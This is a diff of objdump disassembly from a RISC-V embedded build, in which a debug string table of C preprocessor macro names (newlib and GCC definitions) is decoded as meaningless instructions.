-    1e78:	3030                	fld	fa2,96(s0)
-    1e7a:	0030                	addi	a2,sp,8
-    1e7c:	5f5f 5355 5245      	0x524553555f5f
-    1e82:	4c5f 4241 4c45      	0x4c4542414c5f
-    1e88:	505f 4552 4946      	0x49464552505f
-    1e8e:	5f58                	lw	a4,60(a4)
-    1e90:	205f 5500 4c4c      	0x4c4c5500205f
-    1e96:	5f474e4f          	fnmadd.q	ft8,fa4,fs4,fa1,rmm
-    1e9a:	414d                	li	sp,19
-    1e9c:	0058                	addi	a4,sp,4
-    1e9e:	5f5f 7461 7274      	0x727474615f5f
-    1ea4:	6269                	lui	tp,0x1a
-    1ea6:	7475                	lui	s0,0xffffd
-    1ea8:	5f65                	li	t5,-7
-    1eaa:	616d                	addi	sp,sp,240
-    1eac:	6c6c                	flw	fa1,92(s0)
-    1eae:	5f5f636f          	jal	t1,f8ca2 <__stack_size+0xf84a2>
-    1eb2:	0020                	addi	s0,sp,8
-    1eb4:	535f 5a49 5f45      	0x5f455a49535f
-    1eba:	5f54                	lw	a3,60(a4)
-    1ebc:	4544                	lw	s1,12(a0)
-    1ebe:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    1ec2:	4445                	li	s0,17
-    1ec4:	0020                	addi	s0,sp,8
-    1ec6:	475f 4343 575f      	0x575f4343475f
-    1ecc:	4152                	lw	sp,20(sp)
-    1ece:	5f50                	lw	a2,60(a4)
-    1ed0:	49445453          	0x49445453
-    1ed4:	544e                	lw	s0,240(sp)
-    1ed6:	485f 0020 525f      	0x525f0020485f
-    1edc:	4545                	li	a0,17
-    1ede:	544e                	lw	s0,240(sp)
-    1ee0:	545f 284d 7470      	0x7470284d545f
-    1ee6:	2972                	fld	fs2,280(sp)
-    1ee8:	2820                	fld	fs0,80(s0)
-    1eea:	2826                	fld	fa6,72(sp)
-    1eec:	7470                	flw	fa2,108(s0)
-    1eee:	2972                	fld	fs2,280(sp)
-    1ef0:	3e2d                	jal	1a2a <__stack_size+0x122a>
-    1ef2:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    1ef8:	6572                	flw	fa0,28(sp)
-    1efa:	6e65                	lui	t3,0x19
-    1efc:	2e74                	fld	fa3,216(a2)
-    1efe:	6c5f 636f 6c61      	0x6c61636f6c5f
-    1f04:	6974                	flw	fa3,84(a0)
-    1f06:	656d                	lui	a0,0x1b
-    1f08:	625f 6675 0029      	0x296675625f
-    1f0e:	4e49                	li	t3,18
-    1f10:	3654                	fld	fa3,168(a2)
-    1f12:	5f34                	lw	a3,120(a4)
-    1f14:	414d                	li	sp,19
-    1f16:	2058                	fld	fa4,128(s0)
-    1f18:	5f5f 4e49 3654      	0x36544e495f5f
-    1f1e:	5f34                	lw	a3,120(a4)
-    1f20:	414d                	li	sp,19
-    1f22:	5f58                	lw	a4,60(a4)
-    1f24:	005f 425f 4745      	0x4745425f005f
-    1f2a:	4e49                	li	t3,18
-    1f2c:	535f 4454 435f      	0x435f4454535f
-    1f32:	0020                	addi	s0,sp,8
-    1f34:	5f50                	lw	a2,60(a4)
-    1f36:	6d74                	flw	fa3,92(a0)
-    1f38:	6470                	flw	fa2,76(s0)
-    1f3a:	7269                	lui	tp,0xffffa
-    1f3c:	2220                	fld	fs0,64(a2)
-    1f3e:	706d742f          	0x706d742f
-    1f42:	0022                	c.slli	zero,0x8
-    1f44:	4955                	li	s2,21
-    1f46:	544e                	lw	s0,240(sp)
-    1f48:	4c5f 4145 5453      	0x545341454c5f
-    1f4e:	3436                	fld	fs0,360(sp)
-    1f50:	4d5f 5841 5f00      	0x5f0058414d5f
-    1f56:	585f4353          	0x585f4353
-    1f5a:	5342                	lw	t1,48(sp)
-    1f5c:	5f35                	li	t5,-19
-    1f5e:	4c49                	li	s8,18
-    1f60:	3350                	fld	fa2,160(a4)
-    1f62:	5f32                	lw	t5,44(sp)
-    1f64:	4246464f          	fnmadd.d	fa2,fa2,ft4,fs0,rmm
-    1f68:	4749                	li	a4,18
-    1f6a:	5f20                	lw	s0,120(a4)
-    1f6c:	565f4353          	0x565f4353
-    1f70:	4c495f37          	lui	t5,0x4c495
-    1f74:	3350                	fld	fa2,160(a4)
-    1f76:	5f32                	lw	t5,44(sp)
-    1f78:	4246464f          	fnmadd.d	fa2,fa2,ft4,fs0,rmm
-    1f7c:	4749                	li	a4,18
-    1f7e:	5f00                	lw	s0,56(a4)
-    1f80:	445f 4345 4e4f      	0x4e4f4345445f
-    1f86:	74285453          	0x74285453
-    1f8a:	7079                	c.lui	zero,0xffffe
-    1f8c:	2c65                	jal	2244 <__stack_size+0x1a44>
-    1f8e:	6176                	flw	ft2,92(sp)
-    1f90:	2972                	fld	fs2,280(sp)
-    1f92:	2820                	fld	fs0,80(s0)
-    1f94:	7428                	flw	fa0,104(s0)
-    1f96:	7079                	c.lui	zero,0xffffe
-    1f98:	2965                	jal	2450 <__stack_size+0x1c50>
-    1f9a:	5f28                	lw	a0,120(a4)
-    1f9c:	755f 6e69 7074      	0x70746e69755f
-    1fa2:	7274                	flw	fa3,100(a2)
-    1fa4:	745f 2829 6f63      	0x6f632829745f
-    1faa:	736e                	flw	ft6,248(sp)
-    1fac:	2074                	fld	fa3,192(s0)
-    1fae:	6f76                	flw	ft10,92(sp)
-    1fb0:	6469                	lui	s0,0x1a
-    1fb2:	2a20                	fld	fs0,80(a2)
-    1fb4:	2829                	jal	1fce <__stack_size+0x17ce>
-    1fb6:	6176                	flw	ft2,92(sp)
-    1fb8:	2972                	fld	fs2,280(sp)
-    1fba:	0029                	c.nop	10
-    1fbc:	53495f53          	0x53495f53
-    1fc0:	4e4c                	lw	a1,28(a2)
-    1fc2:	296d284b          	fnmsub.s	fa6,fs10,fs6,ft5,rdn
-    1fc6:	2820                	fld	fs0,80(s0)
-    1fc8:	2828                	fld	fa0,80(s0)
-    1fca:	296d                	jal	2484 <__stack_size+0x1c84>
-    1fcc:	5f26                	lw	t5,104(sp)
-    1fce:	4649                	li	a2,18
-    1fd0:	544d                	li	s0,-13
-    1fd2:	2029                	jal	1fdc <__stack_size+0x17dc>
-    1fd4:	3d3d                	jal	1e12 <__stack_size+0x1612>
-    1fd6:	5f20                	lw	s0,120(a4)
-    1fd8:	4649                	li	a2,18
-    1fda:	4e4c                	lw	a1,28(a2)
-    1fdc:	6300294b          	fnmsub.d	fs2,ft0,fa6,fa2,rdn
-    1fe0:	656c                	flw	fa1,76(a0)
-    1fe2:	7261                	lui	tp,0xffff8
-    1fe4:	7265                	lui	tp,0xffff9
-    1fe6:	5f72                	lw	t5,60(sp)
-    1fe8:	6e75                	lui	t3,0x1d
-    1fea:	6f6c                	flw	fa1,92(a4)
-    1fec:	64656b63          	bltu	a0,t1,2642 <__stack_size+0x1e42>
-    1ff0:	7028                	flw	fa0,96(s0)
-    1ff2:	2029                	jal	1ffc <__stack_size+0x17fc>
-    1ff4:	5f5f 6373 656c      	0x656c63735f5f
-    1ffa:	7261                	lui	tp,0xffff8
-    1ffc:	7265                	lui	tp,0xffff9
-    1ffe:	2872                	fld	fa6,280(sp)
-    2000:	2970                	fld	fa2,208(a0)
-    2002:	5f00                	lw	s0,56(a4)
-    2004:	6c5f 636f 5f6b      	0x5f6b636f6c5f
-    200a:	6e61                	lui	t3,0x18
-    200c:	6f6e                	flw	ft10,216(sp)
-    200e:	6174                	flw	fa3,68(a0)
-    2010:	6574                	flw	fa3,76(a0)
-    2012:	7828                	flw	fa0,112(s0)
-    2014:	2029                	jal	201e <__stack_size+0x181e>
-    2016:	5f00                	lw	s0,56(a4)
-    2018:	495f 544e 465f      	0x465f544e495f
-    201e:	5341                	li	t1,-16
-    2020:	3854                	fld	fa3,176(s0)
-    2022:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    2028:	3020                	fld	fs0,96(s0)
-    202a:	3778                	fld	fa4,232(a4)
-    202c:	6666                	flw	fa2,88(sp)
-    202e:	6666                	flw	fa2,88(sp)
-    2030:	6666                	flw	fa2,88(sp)
-    2032:	0066                	c.slli	zero,0x19
-    2034:	4155                	li	sp,21
-    2036:	5452                	lw	s0,52(sp)
-    2038:	545f 4358 5254      	0x52544358545f
-    203e:	204c                	fld	fa1,128(s0)
-    2040:	7830                	flw	fa2,112(s0)
-    2042:	3830                	fld	fa2,112(s0)
-    2044:	5000                	lw	s0,32(s0)
-    2046:	435f4d57          	0x435f4d57
-    204a:	4746                	lw	a4,80(sp)
-    204c:	455f 414e 574c      	0x574c414e455f
-    2052:	5941                	li	s2,-16
-    2054:	78302053          	0x78302053
-    2058:	3030                	fld	fa2,96(s0)
-    205a:	3030                	fld	fa2,96(s0)
-    205c:	3031                	jal	1868 <__stack_size+0x1068>
-    205e:	3030                	fld	fa2,96(s0)
-    2060:	4c00                	lw	s0,24(s0)
-    2062:	635f 6574 6d72      	0x6d726574635f
-    2068:	6469                	lui	s0,0x1a
-    206a:	3120                	fld	fs0,96(a0)
-    206c:	0036                	c.slli	zero,0xd
-    206e:	535f 5f43 5f32      	0x5f325f43535f
-    2074:	45445f43          	0x45445f43
-    2078:	2056                	fld	ft0,336(sp)
-    207a:	3031                	jal	1886 <__stack_size+0x1086>
-    207c:	0039                	c.nop	14
-    207e:	494d                	li	s2,19
-    2080:	284e                	fld	fa6,208(sp)
-    2082:	2c61                	jal	231a <__stack_size+0x1b1a>
-    2084:	2962                	fld	fs2,24(sp)
-    2086:	2820                	fld	fs0,80(s0)
-    2088:	2828                	fld	fa0,80(s0)
-    208a:	2961                	jal	2522 <__stack_size+0x1d22>
-    208c:	283c                	fld	fa5,80(s0)
-    208e:	2962                	fld	fs2,24(sp)
-    2090:	3f29                	jal	1faa <__stack_size+0x17aa>
-    2092:	6128                	flw	fa0,64(a0)
-    2094:	3a29                	jal	19ae <__stack_size+0x11ae>
-    2096:	6228                	flw	fa0,64(a2)
-    2098:	2929                	jal	24b2 <__stack_size+0x1cb2>
-    209a:	6900                	flw	fs0,16(a0)
-    209c:	7172                	flw	ft2,60(sp)
-    209e:	695f 736e 7274      	0x7274736e695f
-    20a4:	6d5f 6e69 5f00      	0x5f006e696d5f
-    20aa:	4350                	lw	a2,4(a4)
-    20ac:	525f 4345 4d5f      	0x4d5f4345525f
-    20b2:	5841                	li	a6,-16
-    20b4:	585f 4546 5f52      	0x5f524546585f
-    20ba:	455a4953          	0x455a4953
-    20be:	3120                	fld	fs0,96(a0)
-    20c0:	5f5f0037          	lui	zero,0x5f5f0
-    20c4:	4c46                	lw	s8,80(sp)
-    20c6:	3354                	fld	fa3,160(a4)
-    20c8:	5f32                	lw	t5,44(sp)
-    20ca:	494d                	li	s2,19
-    20cc:	5f4e                	lw	t5,240(sp)
-    20ce:	5845                	li	a6,-15
-    20d0:	5f50                	lw	a2,60(a4)
-    20d2:	205f 2d28 3231      	0x32312d28205f
-    20d8:	2935                	jal	2514 <__stack_size+0x1d14>
-    20da:	5f00                	lw	s0,56(a4)
-    20dc:	545f4353          	0x545f4353
-    20e0:	5248                	lw	a0,36(a2)
-    20e2:	4145                	li	sp,17
-    20e4:	5f44                	lw	s1,60(a4)
-    20e6:	5441                	li	s0,-16
-    20e8:	5254                	lw	a3,36(a2)
-    20ea:	535f 4154 4b43      	0x4b434154535f
-    20f0:	4441                	li	s0,16
-    20f2:	5244                	lw	s1,36(a2)
-    20f4:	3420                	fld	fs0,104(s0)
-    20f6:	535f0033          	0x535f0033
-    20fa:	54525f43          	0x54525f43
-    20fe:	5f474953          	0x5f474953
-    2102:	414d                	li	sp,19
-    2104:	2058                	fld	fa4,128(s0)
-    2106:	3531                	jal	1f12 <__stack_size+0x1712>
-    2108:	5f00                	lw	s0,56(a4)
-    210a:	4c5f4353          	0x4c5f4353
-    210e:	5645                	li	a2,-15
-    2110:	4c45                	li	s8,17
-    2112:	5f31                	li	t5,-20
-    2114:	4349                	li	t1,18
-    2116:	4341                	li	t1,16
-    2118:	4548                	lw	a0,12(a0)
-    211a:	4c5f 4e49 5345      	0x53454e494c5f
-    2120:	5a49                	li	s4,-14
-    2122:	2045                	jal	21c2 <__stack_size+0x19c2>
-    2124:	3231                	jal	1a30 <__stack_size+0x1230>
-    2126:	5f5f0037          	lui	zero,0x5f5f0
-    212a:	4544                	lw	s1,12(a0)
-    212c:	414d4943          	fmadd.s	fs2,fs10,fs4,fs0,rmm
-    2130:	5f4c                	lw	a1,60(a4)
-    2132:	4944                	lw	s1,20(a0)
-    2134:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    2138:	5f003633          	0x5f003633
-    213c:	445f 4c42 4d5f      	0x4d5f4c42445f
-    2142:	4e49                	li	t3,18
-    2144:	315f 5f30 5845      	0x58455f30315f
-    214a:	5f50                	lw	a2,60(a4)
-    214c:	205f 2d28 3033      	0x30332d28205f
-    2152:	5f002937          	lui	s2,0x5f002
-    2156:	5f434347          	fmsub.q	ft6,ft6,fs4,fa1,rmm
-    215a:	5450                	lw	a2,44(s0)
-    215c:	4452                	lw	s0,20(sp)
-    215e:	4649                	li	a2,18
-    2160:	5f46                	lw	t5,112(sp)
-    2162:	2054                	fld	fa3,128(s0)
-    2164:	5f00                	lw	s0,56(a4)
-    2166:	465f 544c 3233      	0x3233544c465f
-    216c:	5f58                	lw	a4,60(a4)
-    216e:	4544                	lw	s1,12(a0)
-    2170:	4f4e                	lw	t5,208(sp)
-    2172:	4d52                	lw	s10,20(sp)
-    2174:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-    217a:	3420                	fld	fs0,104(s0)
-    217c:	392e                	fld	fs2,232(sp)
-    217e:	3034                	fld	fa3,96(s0)
-    2180:	3536                	fld	fa0,360(sp)
-    2182:	3436                	fld	fs0,360(sp)
-    2184:	3835                	jal	19c0 <__stack_size+0x11c0>
-    2186:	3134                	fld	fa3,96(a0)
-    2188:	3432                	fld	fs0,296(sp)
-    218a:	3536                	fld	fa0,360(sp)
-    218c:	3434                	fld	fa3,104(s0)
-    218e:	3731                	jal	209a <__stack_size+0x189a>
-    2190:	3536                	fld	fa0,360(sp)
-    2192:	3836                	fld	fa6,360(sp)
-    2194:	38323937          	lui	s2,0x38323
-    2198:	3836                	fld	fa6,360(sp)
-    219a:	3232                	fld	ft4,296(sp)
-    219c:	3331                	jal	1ea8 <__stack_size+0x16a8>
-    219e:	2d653237          	lui	tp,0x2d653
-    21a2:	46343233          	0x46343233
-    21a6:	00783233          	sltu	tp,a6,t2
-    21aa:	5f5f 4c46 5f54      	0x5f544c465f5f
-    21b0:	494d                	li	s2,19
-    21b2:	5f4e                	lw	t5,240(sp)
-    21b4:	3031                	jal	19c0 <__stack_size+0x11c0>
-    21b6:	455f 5058 5f5f      	0x5f5f5058455f
-    21bc:	2820                	fld	fs0,80(s0)
-    21be:	332d                	jal	1ee8 <__stack_size+0x16e8>
-    21c0:	5f002937          	lui	s2,0x5f002
-    21c4:	505f4353          	0x505f4353
-    21c8:	5948                	lw	a0,52(a0)
-    21ca:	41505f53          	0x41505f53
-    21ce:	20534547          	fmsub.s	fa0,ft6,ft5,ft4,rmm
-    21d2:	3131                	jal	1dde <__stack_size+0x15de>
-    21d4:	5f00                	lw	s0,56(a4)
-    21d6:	465f 544c 3233      	0x3233544c465f
-    21dc:	5f58                	lw	a4,60(a4)
-    21de:	4944                	lw	s1,20(a0)
-    21e0:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    21e4:	3531                	jal	1ff0 <__stack_size+0x17f0>
-    21e6:	5f00                	lw	s0,56(a4)
-    21e8:	4350                	lw	a2,4(a4)
-    21ea:	465f 4c49 5345      	0x53454c49465f
-    21f0:	5a49                	li	s4,-14
-    21f2:	4245                	li	tp,17
-    21f4:	5449                	li	s0,-14
-    21f6:	32312053          	0x32312053
-    21fa:	4900                	lw	s0,16(a0)
-    21fc:	544e                	lw	s0,240(sp)
-    21fe:	4c5f 4145 5453      	0x545341454c5f
-    2204:	3436                	fld	fs0,360(sp)
-    2206:	4d5f 5841 5f20      	0x5f2058414d5f
-    220c:	495f 544e 4c5f      	0x4c5f544e495f
-    2212:	4145                	li	sp,17
-    2214:	34365453          	0x34365453
-    2218:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    221e:	4300                	lw	s0,0(a4)
-    2220:	4148                	lw	a0,4(a0)
-    2222:	5f52                	lw	t5,52(sp)
-    2224:	4942                	lw	s2,16(sp)
-    2226:	2054                	fld	fa3,128(s0)
-    2228:	5f5f 4843 5241      	0x524148435f5f
-    222e:	425f 5449 5f5f      	0x5f5f5449425f
-    2234:	5f00                	lw	s0,56(a4)
-    2236:	445f 4c42 4d5f      	0x4d5f4c42445f
-    223c:	4e41                	li	t3,16
-    223e:	5f54                	lw	a3,60(a4)
-    2240:	4944                	lw	s1,20(a0)
-    2242:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    2246:	3335                	jal	1f72 <__stack_size+0x1772>
-    2248:	5f00                	lw	s0,56(a4)
-    224a:	475f 554e 4c43      	0x4c43554e475f
-    2250:	4b49                	li	s6,18
-    2252:	5f45                	li	t5,-15
-    2254:	5341                	li	t1,-16
-    2256:	204d                	jal	22f8 <__stack_size+0x1af8>
-    2258:	5f5f0033          	0x5f5f0033
-    225c:	20445253          	0x20445253
-    2260:	7830                	flw	fa2,112(s0)
-    2262:	3030                	fld	fa2,96(s0)
-    2264:	3430                	fld	fa2,104(s0)
-    2266:	5f00                	lw	s0,56(a4)
-    2268:	505f 5254 4944      	0x49445254505f
-    226e:	4646                	lw	a2,80(sp)
-    2270:	575f 4449 4854      	0x48544449575f
-    2276:	5f5f 3320 0032      	0x3233205f5f
-    227c:	69727073          	csrci	0x697,4
-    2280:	746e                	flw	fs0,248(sp)
-    2282:	0066                	c.slli	zero,0x19
-    2284:	736d                	lui	t1,0xffffb
-    2286:	61685f67          	0x61685f67
-    228a:	646e                	flw	fs0,216(sp)
-    228c:	656c                	flw	fa1,76(a0)
-    228e:	0072                	c.slli	zero,0x1c
-    2290:	555f 4e49 3854      	0x38544e49555f
-    2296:	545f 445f 4345      	0x4345445f545f
-    229c:	414c                	lw	a1,4(a0)
-    229e:	4552                	lw	a0,20(sp)
-    22a0:	2044                	fld	fs1,128(s0)
-    22a2:	5f00                	lw	s0,56(a4)
-    22a4:	495f 544e 575f      	0x575f544e495f
-    22aa:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-    22ae:	545f 485f 0020      	0x20485f545f
-    22b4:	535f 5f43 5f32      	0x5f325f43535f
-    22ba:	4250                	lw	a2,4(a2)
-    22bc:	52545f53          	0x52545f53
-    22c0:	4341                	li	t1,16
-    22c2:	3131204b          	fnmsub.s	ft0,ft2,fs3,ft6,rdn
-    22c6:	0038                	addi	a4,sp,8
-    22c8:	6574                	flw	fa3,76(a0)
-    22ca:	706d                	c.lui	zero,0xffffb
-    22cc:	5f00                	lw	s0,56(a4)
-    22ce:	525f4353          	0x525f4353
-    22d2:	4145                	li	sp,17
-    22d4:	4544                	lw	s1,12(a0)
-    22d6:	5f52                	lw	t5,52(sp)
-    22d8:	54495257          	0x54495257
-    22dc:	5245                	li	tp,-15
-    22de:	4c5f 434f 534b      	0x534b434f4c5f
-    22e4:	3720                	fld	fs0,104(a4)
-    22e6:	0031                	c.nop	12
-    22e8:	505f 534f 5849      	0x5849534f505f
-    22ee:	535f 554f 4352      	0x4352554f535f
-    22f4:	0045                	c.nop	17
-    22f6:	4450                	lw	a2,12(s0)
-    22f8:	5f50                	lw	a2,60(a4)
-    22fa:	4e45                	li	t3,17
-    22fc:	4944                	lw	s1,20(a0)
-    22fe:	4e41                	li	t3,16
-    2300:	5f20                	lw	s0,120(a4)
-    2302:	4450                	lw	a2,12(s0)
-    2304:	5f50                	lw	a2,60(a4)
-    2306:	4e45                	li	t3,17
-    2308:	4944                	lw	s1,20(a0)
-    230a:	4e41                	li	t3,16
-    230c:	5f00                	lw	s0,56(a4)
-    230e:	735f 7a69 5f65      	0x5f657a69735f
-    2314:	2074                	fld	fa3,192(s0)
-    2316:	5f00                	lw	s0,56(a4)
-    2318:	575f 4e49 5f54      	0x5f544e49575f
-    231e:	414d                	li	sp,19
-    2320:	5f58                	lw	a4,60(a4)
-    2322:	205f 7830 6666      	0x66667830205f
-    2328:	6666                	flw	fa2,88(sp)
-    232a:	6666                	flw	fa2,88(sp)
-    232c:	6666                	flw	fa2,88(sp)
-    232e:	0055                	c.nop	21
-    2330:	535f 5f43 454c      	0x454c5f43535f
-    2336:	4556                	lw	a0,84(sp)
-    2338:	324c                	fld	fa1,160(a2)
-    233a:	435f 4341 4548      	0x45484341435f
-    2340:	4c5f 4e49 5345      	0x53454e494c5f
-    2346:	5a49                	li	s4,-14
-    2348:	2045                	jal	23e8 <__stack_size+0x1be8>
-    234a:	3331                	jal	2056 <__stack_size+0x1856>
-    234c:	5f5f0033          	0x5f5f0033
-    2350:	4c46                	lw	s8,80(sp)
-    2352:	5f54                	lw	a3,60(a4)
-    2354:	5045                	c.li	zero,-15
-    2356:	4f4c4953          	0x4f4c4953
-    235a:	5f4e                	lw	t5,240(sp)
-    235c:	205f 2e31 3931      	0x39312e31205f
-    2362:	3032                	fld	ft0,296(sp)
-    2364:	3239                	jal	1c72 <__stack_size+0x1472>
-    2366:	3938                	fld	fa4,112(a0)
-    2368:	3535                	jal	2194 <__stack_size+0x1994>
-    236a:	3730                	fld	fa2,104(a4)
-    236c:	3138                	fld	fa4,96(a0)
-    236e:	3532                	fld	fa0,296(sp)
-    2370:	3030                	fld	fa2,96(s0)
-    2372:	3030                	fld	fa2,96(s0)
-    2374:	3030                	fld	fa2,96(s0)
-    2376:	3030                	fld	fa2,96(s0)
-    2378:	3030                	fld	fa2,96(s0)
-    237a:	3030                	fld	fa2,96(s0)
-    237c:	3030                	fld	fa2,96(s0)
-    237e:	3030                	fld	fa2,96(s0)
-    2380:	3030                	fld	fa2,96(s0)
-    2382:	6530                	flw	fa2,72(a0)
-    2384:	372d                	jal	22ae <__stack_size+0x1aae>
-    2386:	0046                	c.slli	zero,0x11
-    2388:	6f5a                	flw	ft10,148(sp)
-    238a:	656e                	flw	fa0,216(sp)
-    238c:	5f00                	lw	s0,56(a4)
-    238e:	545f4353          	0x545f4353
-    2392:	5248                	lw	a0,36(a2)
-    2394:	4145                	li	sp,17
-    2396:	5f44                	lw	s1,60(a4)
-    2398:	54555043          	0x54555043
-    239c:	4d49                	li	s10,18
-    239e:	2045                	jal	243e <__stack_size+0x1c3e>
-    23a0:	3038                	fld	fa4,96(s0)
-    23a2:	4700                	lw	s0,8(a4)
-    23a4:	4950                	lw	a2,20(a0)
-    23a6:	554f5f4f          	0x554f5f4f
-    23aa:	5054                	lw	a3,36(s0)
-    23ac:	5455                	li	s0,-11
-    23ae:	565f 4c41 3020      	0x30204c41565f
-    23b4:	3078                	fld	fa4,224(s0)
-    23b6:	49550043          	fmadd.s	ft0,fa0,fs5,fs1,rne
-    23ba:	544e                	lw	s0,240(sp)
-    23bc:	5450                	lw	a2,44(s0)
-    23be:	5f52                	lw	t5,52(sp)
-    23c0:	414d                	li	sp,19
-    23c2:	0058                	addi	a4,sp,4
-    23c4:	5f46                	lw	t5,112(sp)
-    23c6:	4554                	lw	a3,12(a0)
-    23c8:	33205453          	0x33205453
-    23cc:	5f00                	lw	s0,56(a4)
-    23ce:	545f4353          	0x545f4353
-    23d2:	5248                	lw	a0,36(a2)
-    23d4:	4145                	li	sp,17
-    23d6:	5344                	lw	s1,36(a4)
-    23d8:	3420                	fld	fs0,104(s0)
-    23da:	0032                	c.slli	zero,0xc
-    23dc:	4e49                	li	t3,18
-    23de:	3354                	fld	fa3,160(a4)
-    23e0:	5f32                	lw	t5,44(sp)
-    23e2:	29632843          	fmadd.s	fa6,ft6,fs6,ft5,rdn
-    23e6:	5f20                	lw	s0,120(a4)
-    23e8:	495f 544e 3233      	0x3233544e495f
-    23ee:	435f 6328 0029      	0x296328435f
-    23f4:	5f5f 4c46 3654      	0x36544c465f5f
-    23fa:	5834                	lw	a3,112(s0)
-    23fc:	4d5f 4e49 315f      	0x315f4e494d5f
-    2402:	5f30                	lw	a2,120(a4)
-    2404:	5845                	li	a6,-15
-    2406:	5f50                	lw	a2,60(a4)
-    2408:	205f 2d28 3934      	0x39342d28205f
-    240e:	00293133          	sltu	sp,s2,sp
-    2412:	4e49                	li	t3,18
-    2414:	5f54                	lw	a3,60(a4)
-    2416:	454c                	lw	a1,12(a0)
-    2418:	5341                	li	t1,-16
-    241a:	3354                	fld	fa3,160(a4)
-    241c:	5f32                	lw	t5,44(sp)
-    241e:	494d                	li	s2,19
-    2420:	004e                	c.slli	zero,0x13
-    2422:	465f 4f4e 424e      	0x424e4f4e465f
-    2428:	4f4c                	lw	a1,28(a4)
-    242a:	30204b43          	fmadd.s	fs6,ft0,ft2,ft6,rmm
-    242e:	3478                	fld	fa4,232(s0)
+    1d86:	2029                	jal	1d90 <__stack_size+0x1590>
+    1d88:	5a4d                	li	s4,-13
+    1d8a:	5f454e4f          	fnmadd.q	ft8,fa0,fs4,fa1,rmm
+    1d8e:	4959                	li	s2,22
+    1d90:	4c45                	li	s8,17
+    1d92:	2844                	fld	fs1,144(s0)
+    1d94:	3b29                	jal	1aae <__stack_size+0x12ae>
+    1d96:	7d20                	flw	fs0,120(a0)
+    1d98:	6620                	flw	fs0,72(a2)
+    1d9a:	6572                	flw	fa0,28(sp)
+    1d9c:	2865                	jal	1e54 <__stack_size+0x1654>
+    1d9e:	29727473          	csrrci	s0,0x297,4
+    1da2:	207d203b          	0x207d203b
+    1da6:	007d                	c.nop	31
+    1da8:	5f5f 4544 5551      	0x555145445f5f
+    1dae:	4c41                	li	s8,16
+    1db0:	4649                	li	a2,18
+    1db2:	2859                	jal	1e48 <__stack_size+0x1648>
+    1db4:	7974                	flw	fa3,116(a0)
+    1db6:	6570                	flw	fa2,76(a0)
+    1db8:	762c                	flw	fa1,104(a2)
+    1dba:	7261                	lui	tp,0xffff8
+    1dbc:	2029                	jal	1dc6 <__stack_size+0x15c6>
+    1dbe:	2828                	fld	fa0,80(s0)
+    1dc0:	7974                	flw	fa3,116(a0)
+    1dc2:	6570                	flw	fa2,76(a0)
+    1dc4:	2829                	jal	1dde <__stack_size+0x15de>
+    1dc6:	5f5f 6975 746e      	0x746e69755f5f
+    1dcc:	7470                	flw	fa2,108(s0)
+    1dce:	5f72                	lw	t5,60(sp)
+    1dd0:	2974                	fld	fa3,208(a0)
+    1dd2:	6328                	flw	fa0,64(a4)
+    1dd4:	74736e6f          	jal	t3,38d1a <__stack_size+0x3851a>
+    1dd8:	7620                	flw	fs0,104(a2)
+    1dda:	74616c6f          	jal	s8,18520 <__stack_size+0x17d20>
+    1dde:	6c69                	lui	s8,0x1a
+    1de0:	2065                	jal	1e88 <__stack_size+0x1688>
+    1de2:	6f76                	flw	ft10,92(sp)
+    1de4:	6469                	lui	s0,0x1a
+    1de6:	2a20                	fld	fs0,80(a2)
+    1de8:	2829                	jal	1e02 <__stack_size+0x1602>
+    1dea:	6176                	flw	ft2,92(sp)
+    1dec:	2972                	fld	fs2,280(sp)
+    1dee:	0029                	c.nop	10
+    1df0:	5f5f 6168 5f73      	0x5f7361685f5f
+    1df6:	6566                	flw	fa0,88(sp)
+    1df8:	7461                	lui	s0,0xffff8
+    1dfa:	7275                	lui	tp,0xffffd
+    1dfc:	2865                	jal	1eb4 <__stack_size+0x16b4>
+    1dfe:	2978                	fld	fa4,208(a0)
+    1e00:	3020                	fld	fs0,96(s0)
+    1e02:	5f00                	lw	s0,56(a4)
+    1e04:	545f4353          	0x545f4353
+    1e08:	4d49                	li	s10,18
+    1e0a:	5245                	li	tp,-15
+    1e0c:	4d5f 5841 3120      	0x312058414d5f
+    1e12:	0039                	c.nop	14
+    1e14:	525f 4545 544e      	0x544e4545525f
+    1e1a:	455f 454d 4752      	0x4752454d455f
+    1e20:	4e45                	li	t3,17
+    1e22:	535f5943          	fmadd.d	fs2,ft10,fs5,fa0,unknown
+    1e26:	5a49                	li	s4,-14
+    1e28:	2045                	jal	1ec8 <__stack_size+0x16c8>
+    1e2a:	3532                	fld	fa0,296(sp)
+    1e2c:	5f00                	lw	s0,56(a4)
+    1e2e:	475f 4343 495f      	0x495f4343475f
+    1e34:	4345                	li	t1,17
+    1e36:	355f 3935 435f      	0x435f3935355f
+    1e3c:	4c504d4f          	0x4c504d4f
+    1e40:	5845                	li	a6,-15
+    1e42:	3020                	fld	fs0,96(s0)
+    1e44:	5500                	lw	s0,40(a0)
+    1e46:	4e49                	li	t3,18
+    1e48:	3654                	fld	fa3,168(a2)
+    1e4a:	5f34                	lw	a3,120(a4)
+    1e4c:	525f0043          	fmadd.d	ft0,ft10,ft5,fa0,rne
+    1e50:	4545                	li	a0,17
+    1e52:	544e                	lw	s0,240(sp)
+    1e54:	4d5f 5f50 4552      	0x45525f504d5f
+    1e5a:	544c5553          	0x544c5553
+    1e5e:	4b5f 7028 7274      	0x727470284b5f
+    1e64:	2029                	jal	1e6e <__stack_size+0x166e>
+    1e66:	2828                	fld	fa0,80(s0)
+    1e68:	7470                	flw	fa2,108(s0)
+    1e6a:	2972                	fld	fs2,280(sp)
+    1e6c:	3e2d                	jal	19a6 <__stack_size+0x11a6>
+    1e6e:	725f 7365 6c75      	0x6c757365725f
+    1e74:	5f74                	lw	a3,124(a4)
+    1e76:	5f00296b          	0x5f00296b
+    1e7a:	455f4353          	0x455f4353
+    1e7e:	5058                	lw	a4,36(s0)
+    1e80:	5f52                	lw	t5,52(sp)
+    1e82:	454e                	lw	a0,208(sp)
+    1e84:	4d5f5453          	0x4d5f5453
+    1e88:	5841                	li	a6,-16
+    1e8a:	3620                	fld	fs0,104(a2)
+    1e8c:	0034                	addi	a3,sp,8
